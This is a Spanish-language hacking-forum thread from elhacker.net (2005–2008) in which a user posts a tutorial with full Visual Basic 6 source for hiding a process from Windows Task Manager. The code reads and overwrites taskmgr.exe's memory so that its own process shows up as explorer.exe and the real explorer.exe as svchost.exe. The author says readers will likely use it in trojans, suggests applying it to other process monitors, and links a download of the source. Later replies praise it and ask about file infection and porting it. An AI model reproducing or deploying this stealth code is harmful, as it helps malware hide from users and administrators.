elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección.


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Ocultar Proceso en TaskMgr sin hooks Parte2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Ocultar Proceso en TaskMgr sin hooks Parte2  (Leído 9,486 veces)
ZEALOT

Desconectado Desconectado

Mensajes: 38



Ver Perfil
Ocultar Proceso en TaskMgr sin hooks Parte2
« en: 18 Diciembre 2005, 21:30 »

Bueno, de nuevo aqui en el foro, con un poco de tiempo, espero no estar perdiendolo ;), jejeje, saludos a todos los COLOMBIANOS del foro.

Empecemos otra vez con la continuacion del post anterior de "Ocultar un proceso en el Taskmgr sin hooks", no se si este metodo de ocultamiento, ya haya sido hecho por otra persona, o si ya lo hubiesen visto, pero aun asi me atrevo a explicarselos, nunca digo: "Yo me invente esto, yo hice aquello", por la sencilla razon de que uno no sabe en realidad si alguien fue mas rapido, solo digo:"Se me ocurrio tal cosa, hice tal otra", posteo todas estas cosas por venganza, cuando yo era un "Muuuy principiante" en programacion, no sabia como adquirir mas conocimientos, solo leyendo, por eso les digo no esperen a que sus profes de programacion les enseñen cosas, por lo menos aqui en colombia desafortunadamente la mayoria, NO TODOS, son unos mediocres profesores, y no me gusta ser egoista, yo se que la mayoria lo va a utilizar para babosadas como para los troyanos, pero bueno, que se les hace, yo tambien lo haria, solo espero que lo lean, lo estudien y aprendan almenos algo, y no solo hagan un copy-paste de codigo.

Bueno ya dejemos todo ese bla, bla, bla, basta de explicaciones y empecemos con el tema, deben ya estar aburridos.

El metodo es bastante sencillo por cierto, es simplemente, barrer la memoria de cierto proceso que no quiero decir cual es pero que se que ustedes ya se imaginan, en busca de unos daticos muy utiles e interesantes, para modificarlos, ya se imaginan cuales?, este metodo, me atrevo a decir es 90% efectivo. bueno para todo esto vamos a utilizar unas pocas APIs, como para que no se asusten de tanta api y tanto codigo, como en el metodo anterior, vamos a utilizar las siguientes:

CreateToolhelp32Snapshot

Código:
HANDLE WINAPI CreateToolhelp32Snapshot(
  DWORD dwFlags,       
  DWORD th32ProcessID 
);

como la mayoria creo que ya saben, porque parece que la han manejado antes en el foro, para los que no, esta API toma como una especie de imagen o "foto" de los heaps, modulos y threads usados por un proceso especifico, esta "foto" es tomada por otras funciones(APIs) que son llamadas funciones de "tool help services", para ser examinada y entregarnos algunos resultados dependiendo de la funcion, las funcioncillas de las que hablo son estas:
 
CreateToolhelp32Snapshot 
Heap32First 
Heap32ListFirst 
Heap32ListNext 
Heap32Next 
Module32First 
Module32Next 
Process32First 
Process32Next 
Thread32First 
Thread32Next 
Toolhelp32ReadProcessMemory

y segun la Windows Programmers reference, el acceso al SnapShot es de solo lectura, asi que no podemos modificar directamente los manejadores de los procesos obviamente.

en el primer parametro, tenemos a dwFlags, este parametro especifica que partes del sistema van a ser incluidas en el SnapShot(foto), puede tener alguno de los siguientes valores:

TH32CS_INHERIT      indica que el handle del SnapShot va a ser heredado
TH32CS_SNAPHEAPLIST   indica incluir la lista de heaps de un proceso determinado en el SnapShot
TH32CS_SNAPMODULE   indica incluir la lista de modulos de un proceso determinado en el SnapShot
TH32CS_SNAPPROCESS   incluye la lista de procesos en el SnapShot
TH32CS_SNAPTHREAD   incluye la lista de threads en el SnapShot
TH32CS_SNAPALL      todas las anteriores excepto la primera.

y el segundo parametro es th32ProcessID que indica el identificador de proceso, este parametro, es utilizado cuando utilizamos las opciones banderas, como TH32CS_SNAPMODULE o TH32CS_SNAPHEAPLIST, de lo contrario se pondria un 0 (cero) significando el proceso desde el que se llama la funcion osea el nuestro.


CloseHandle

Código:
BOOL CloseHandle(
  HANDLE hObject
);

la funcion CloseHandle obviamente como su nombre lo indica, cierra un objeto tipo handle que haya sido abierto, es decir siempre que creemos un objeto tipo handle con otra api debemos liberar memoria(cerrarlo) con la funcion CloseHandle, como son los siguientes tipos de handle:

Communications device
Console input
Console screen buffer
Event
File
File mapping
Job
Mailslot
Mutex
Named pipe
Process
Semaphore
Socket
Thread
Token

en nuestro caso la utilizaremos para cerrar el objeto creado por CreateToolhelp32Snapshot, es decir el SnapShot. Cuando utilicemos un SnapShot en algun programita debemos "cerrar" ese SnapShot ya que si no lo hicieramos, causaria una fuga de memoria hasta que nuestro proceso se vuelva "miercoles" a la vez que el sistema reclamaria esta memoria. Ahh y  el SnapShot actua como un handle de archivo, tambien se utilizara para la fruncion OpenProcess.


Process32First

Código:
BOOL WINAPI Process32First(
  HANDLE hSnapshot,     
  LPPROCESSENTRY32 lppe 
);

esta funcioncilla nos entrega la info respecto al primer proceso encontrado en el SnapShot, sus parametros:

hSnapshot   Es el handle retornado por haber llamado a la funcion CreateToolhelp32Snapshot, es decir el handle del SnapShot

lppe      Es un puntero a la estructura PROCESSENTRY32 la cual es como sigue:

Código:
typedef struct tagPROCESSENTRY32 {
    DWORD dwSize;
    DWORD cntUsage;
    DWORD th32ProcessID;
    DWORD th32DefaultHeapID;
    DWORD th32ModuleID;
    DWORD cntThreads;
    DWORD th32ParentProcessID;
    LONG  pcPriClassBase;
    DWORD dwFlags;
    char szExeFile[MAX_PATH];
} PROCESSENTRY32;
typedef PROCESSENTRY32 *  PPROCESSENTRY32;
typedef PROCESSENTRY32 *  LPPROCESSENTRY32;
Miembros de la estructura:

dwSize         Tamaño de la estructura osea sizeof(PROCESSENTRY32)
cntUsage      Numero de referencias al proceso
th32ProcessID      Identificador del proceso
th32DefaultHeapID   Identificador del heap asignado al proceso
th32ModuleID      Modulo identificador del proceso
cntThreads      numero de threads de ejecucion creados por el proceso
th32ParentProcessID   identificador del proceso que creó el proceso siendo examinado
pcPriClassBase      Prioridad base de algunos threads creados por el procesos
dwFlags         Reservado, retorna el numero de bytes escritos por la
szExeFile      Ruta y nombre del ejecutable para el proceso

en esta estructura se guardara toda la info del primer proceso del SnapShot.


Process32Next

Código:
BOOL WINAPI Process32Next(
  HANDLE hSnapshot,     
  LPPROCESSENTRY32 lppe 
);
 
nos retorna la info guardandola en donde ya sabemos (parametro lppe) pero esta vez del siguiente proceso en el SnapShot.

y por ultimo nuestras queridisimas:

ReadProcessMemory

Código:
BOOL ReadProcessMemory(
  HANDLE hProcess,
  LPCVOID lpBaseAddress,
  LPVOID lpBuffer,
  DWORD nSize,
  LPDWORD lpNumberOfBytesRead
);

Su nombre es muy claro, lee la memoria de un proceso especificado. recordemos que el area de lectura en el proceso debe ser accesible o sino la funcion no nos serviria.

Parametros:

hProcess      Handle al proceso al cual se va a hacer la lectura
lpBaseAddress      Direccion donde empezaremos a leer
lpBuffer      Direcion del buffer en el cual vamos a poner los datos leidos
nSize         Numero de bytes que vamos a leer
lpNumberOfBytesRead   Direccion del numero de bytes que se han leido despues de llamar a la funcion.

el proceso debe tener acceso PROCESS_VM_READ para poder ser leido.

y


WriteProcessMemory

Código:
BOOL WriteProcessMemory(
  HANDLE hProcess,
  LPVOID lpBaseAddress,
  LPVOID lpBuffer,
  DWORD nSize,
  LPDWORD lpNumberOfBytesWritten
);

ya me imagino que saben que es lo que hace, es identica a la ReadProcessMemory pero para escritura, los mismos parametros pero para escritura.

el proceso debe tener acceso PROCESS_VM_WRITE y PROCESS_VM_OPERATION para poder ser escrito.

uff casi se me olvida, jejeje:

OpenProcess
The OpenProcess function returns a handle to an existing process object.

Código:
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL bInheritHandle,
  DWORD dwProcessId
);

principalmente se utiliza para obtener el handle a proceso esxistente, la utilizaremos para poder utilizar las 2 anteriores, valga la redundancia.

Parametros:

dwDesiredAccess         Especifica el tipo de acceso al proceso:

   PROCESS_ALL_ACCESS      Todos los posibles flags de acceso al proceso
   PROCESS_CREATE_PROCESS      Usado internamente
   PROCESS_CREATE_THREAD      se habilita usando la funcion CreateRemoteThread
   PROCESS_DUP_HANDLE      se habilita usando DuplicateHandle
   PROCESS_QUERY_INFORMATION   se habilita usando GetExitCodeProcess y GetPriorityClass
   PROCESS_SET_INFORMATION      se habilita usando SetPriorityClass
   PROCESS_TERMINATE      se habilita usando TerminateProcess
   PROCESS_VM_OPERATION      se habilita usando VirtualProtectEx y WriteProcessMemory
   PROCESS_VM_READ         se habilita usando ReadProcessMemory
   PROCESS_VM_WRITE      se habilita WriteProcessMemory
   SYNCHRONIZE         para funciones de espera como SignalObjectAndWait, WaitForSingleObject, y WaitForSingleObjectEx.

bInheritHandle         indica si el handle retornado por la funcion el heredable
dwProcessId         identificador de proceso a ser abierto.


A continuacion las anteriores funciones en la declaracion para Visual Basic, structuras y constantes:

Código:
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long

Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Declare Function Process32First Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Declare Function Process32Next Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF

Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * 260
End Type

ahora si empecemos a tirar codigo.

en un modulo:

Código:
Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF

Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * 260
End Type

Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public unaListaProcesos As String
Public HandleTaskMgr As Long
Public HandleProceso As Long
Public elSnapShot As Long

Function AbrirProceso(pID As Long) As Boolean
HandleProceso = OpenProcess(PROCESS_ALL_ACCESS, False, pID)
If (HandleProceso = 0) Then
    AbrirProceso = False
    HandleTaskMgr = 0
Else
    AbrirProceso = True
    HandleTaskMgr = HandleProceso
End If
End Function

Public Function ConvAUnicode(cadena As String) As String
Dim UAnt As String, i As Integer
For i = 1 To Len(cadena)
    UAnt = UAnt & Chr(0) & Mid(cadena, i, 1)
Next i
ConvAUnicode = UAnt
End Function
'-------------------------------------------------------------------------------------------

en un formulario:

Código:
Option Explicit
'----------------------------------------------------------------------------
'   Code del Articulo "Ocultar del TaskMgr sin hooks" parte 2               |
'       De ZEALOT para http://foro.elhacker.net                             |
'----------------------------------------------------------------------------
Private Sub Form_Load()
App.Title = ""
Timer1.Interval = 500
End Sub

Private Sub Form_Unload(Cancel As Integer)
CloseHandle elSnapShot
CloseHandle HandleProceso
End Sub

Private Sub Timer1_Timer()
    Timer1.Enabled = False
   
    Dim otraListaProcesos As String
    Dim Procesos As PROCESSENTRY32
   
    Procesos.dwSize = Len(Procesos)
    elSnapShot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
    Process32First elSnapShot, Procesos
   
    otraListaProcesos = "|" & Procesos.th32ProcessID & "|"
   
    While Process32Next(elSnapShot, Procesos)
        If InStr(1, unaListaProcesos, "|" & Procesos.th32ProcessID & "|") = 0 Then
            If Left(Procesos.szexeFile, InStr(Procesos.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
                    Esconder Procesos.th32ProcessID, "explorer.exe", "svchost.exe "
                    Esconder Procesos.th32ProcessID, "EXPLORER.EXE", "svchost.exe "
                    Esconder Procesos.th32ProcessID, App.EXEName & ".exe", "explorer.exe"
                Else
                    DoEvents
                End If
        End If
        otraListaProcesos = otraListaProcesos & "|" & Procesos.th32ProcessID & "|"
    Wend
   
    unaListaProcesos = otraListaProcesos
   
    Timer1.Enabled = True
End Sub

Private Sub Esconder(pID_TaskMgr As Long, BuscarApp As String, CambiarApp As String)
    If AbrirProceso(pID_TaskMgr) = False Then MsgBox "No hay permisos para abrir el proceso": Exit Sub
   
    Dim BuscarProc As String
    Dim CambiaProc As String
    Dim Direccion As Long
    Dim posIni As Long
    Dim DirEscritura As Long
    Dim bytesLeidos As Long
    Dim bytesEscritos As Long
    Dim buffer As String * 20480
   
    BuscarProc = ConvAUnicode(BuscarApp)
    DoEvents
    CambiaProc = ConvAUnicode(CambiarApp)
    DoEvents
    For Direccion = 0 To 500
        Call ReadProcessMemory(HandleTaskMgr, Direccion * 20480, buffer, 20480, bytesLeidos)
        If bytesLeidos > 0 Then
            posIni = 1
            While InStr(posIni, buffer, BuscarProc) > 0
                DirEscritura = (Direccion) * 20480 + InStr(posIni, buffer, BuscarProc) - 1
                Call WriteProcessMemory(HandleTaskMgr, CLng(DirEscritura), CambiaProc, Len(CambiaProc), bytesEscritos)
                posIni = InStr(posIni, buffer, Trim(BuscarProc)) + 1
            Wend
        End If
    Next Direccion
    DoEvents
End Sub
'--------------------------------------------------------------------------------------------

la explicacion:
como vi que parece que muchos se aburrieron con tanta explicacion en el articulo anterior, voy a explicar todo brevemente.
en el modulo hay 2 funciones, una sirve para convertir de una cadena normal y corriente a una Unicode, la segunda funcion sirve para obtener el handle de un proceso cualquiera en nuestro caso el TaskMgr, es decir el administrador de tareas de windows, luego en el formulario, tenemos el evento de Load, App.Title = "" el cual sirve para borrar nuestra aplicacion de la lista normal de tareas del TaskMgr, despues en el evento del timer1, creamos el SnapShot, obtenemos nuestro primer proceso, del SnapShot y luego los siguientes, que porque no lo checamos? pues porque usualmente es System, luego ahi si checamos a ver si es el TaskMgr, el primer "If" del bucle es para saber si se ha modificado la lista de procesos, es decir si se ha creado unn nuevo proceso, para "tapar" el nuestro, todos los procesos los almacenamos en una variable global "unaListaProcesos" para poder leerla al siguiente intervalo del timer, que porque desabilito el timer1 al comienzo, pos segun pruebas, y consultas, para no joder tanto la memoria mientras hacemos cosillas, no es obligatorio, si quieren quitenlo.
luego en la funcion "Esconder" cuyos parametros creo que son obvios, convertimos las cadenas a Unicode, y barremos la memoria del TaskMgr leyendola con ReadProcessMemory, estas lecturas se hacen con un buffer de 20K, para despues mediante un bucle, buscar la cadena que necesitamos modificar, luego escribimos la memoria con WriteProcessMemory reemplazando nuestra cadena con el otro parametro de la funcion osea CambiaProc. y listo, hemos ocultado nuestro proceso "tapandonos" detras del de "explorer.exe", y tapamos el verdadero "explorer.exe" con el de "svchost.exe ", solo aclaro unas cosillas los procesos a buscar y reemplazar deben tener el mismo numero de caracteres, porque de lo contrario estariamos corriendo o sobreescribiendo memoria que no deberiamos, yo se que ustedes pueden mejorarlo, modificandolo, para que busque otras cadenas importantes, como la ruta de nuestro ejecutable, o el pID cambiandoselas, y hasta en varios procesos, que se utilicen como monitores de procesos, aparte del TaskMgr, solo utilicen la imaginacion, con respecto al anterior articulo, ya mejore el codigo, para que no se comiera tanta memoria del proceso(TaskMg), vean que escribí: memoria, no CPU!!, bueno yo creo que es todo por hoy, y hasta la proxima, depronto me anime a explicarles algo a algunos, sobre las PIPES, ya que he visto mucha pregunta sobre esto en posts antiguos.

ahh se me olvidaba, para los que dicen:"No me funcionó el codigo!!!" pues aqui dejo un vinculo a un comprimido en donde se encuentra el articulo y el codigo fuente del ejemplo, recuerden que el nombre del ejecutable DEBE tener el mismo numero de caracteres que el proceso con el cual se va a esconder. http://es.geocities.com/camro20042004/jojojoFelizNavidad.zip

ahh y si por alguna extraña razon no sirve el ejemplo anterior, solo aumenten un poco el bulce "For Direccion = 0 To 500" a este otro "For Direccion = 0 To 1000".

Bye y hasta la proxima vez que tenga tiempo.
« Última modificación: 8 Enero 2006, 03:24 por ZEALOT » En línea

Thor


Desconectado Desconectado

Mensajes: 1.176


Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #1 en: 18 Diciembre 2005, 22:53 »

Muy bueno, bien explicado, enseñando las funciones, perfecto.
 :)
En línea

NYlOn


Desconectado Desconectado

Mensajes: 842


OOOOHHHHHH, TARAGÜIIII xDDDDDD


Ver Perfil WWW
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #2 en: 19 Diciembre 2005, 01:45 »

Excelentisimo.

Muy buen aporte, felicitaciones ZEALOT !!
En línea

Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #3 en: 30 Diciembre 2005, 02:02 »

Eres un artista macho, estos son los post k de verdad merecen la pena. A mi esto no me me hubiera ocurrido.
Muy buen aporte.
Salu2
En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #4 en: 2 Enero 2006, 14:59 »

esta bueno tu articulo, me gustaria que me sacaras de una duda que siempre e tenido con respecto a la api WriteProcessMemory.
se supone que esta api escribe en un proceso. entonces sirve para realizar una infeccion a un archivo?. conociendo o no su proceso.
En línea

ZEALOT

Desconectado Desconectado

Mensajes: 38



Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #5 en: 2 Enero 2006, 20:24 »

solo traduce su nombre al español y ahi está la respuesta, solo escribe en memoria, el archivo se podria(aunque lo mas probable es que no) modificar, solo si esta mapeado en memoria, pero no fisicamente en D.D., pero, generalmente se usa para escribir en la memoria de cualquier proceso en el que tengamos permiso de escritura, recuerda, SOLO ESCRIBE EN MEMORIA.
« Última modificación: 8 Enero 2006, 03:25 por ZEALOT » En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #6 en: 3 Enero 2006, 13:05 »

jajaj. ok. ok....quería tener una opinion antes de poner a hacer pruebas, en fin...creo que pa eso, sirve, y para inyectar procesos y esas cosas tambien..
saludos.
En línea

xtremer1

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #7 en: 10 Marzo 2008, 05:32 »

xD muy bonito todo :P

Pero..
como lo hago esto? =P
No entiendo donde colocar estos codigos...
O con que programa compilarlo
En línea

leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #8 en: 10 Marzo 2008, 06:57 »

es visual basic 6.0 , leete un buen manuel de el y vas a entender.

al proposito alguien sabria adaptar esto a delphi?
En línea

‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.399


[UserRPL]


Ver Perfil WWW
Re: Ocultar Proceso en TaskMgr sin hooks Parte2
« Respuesta #9 en: 10 Marzo 2008, 16:17 »

estan lindas esas funciones ^^
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines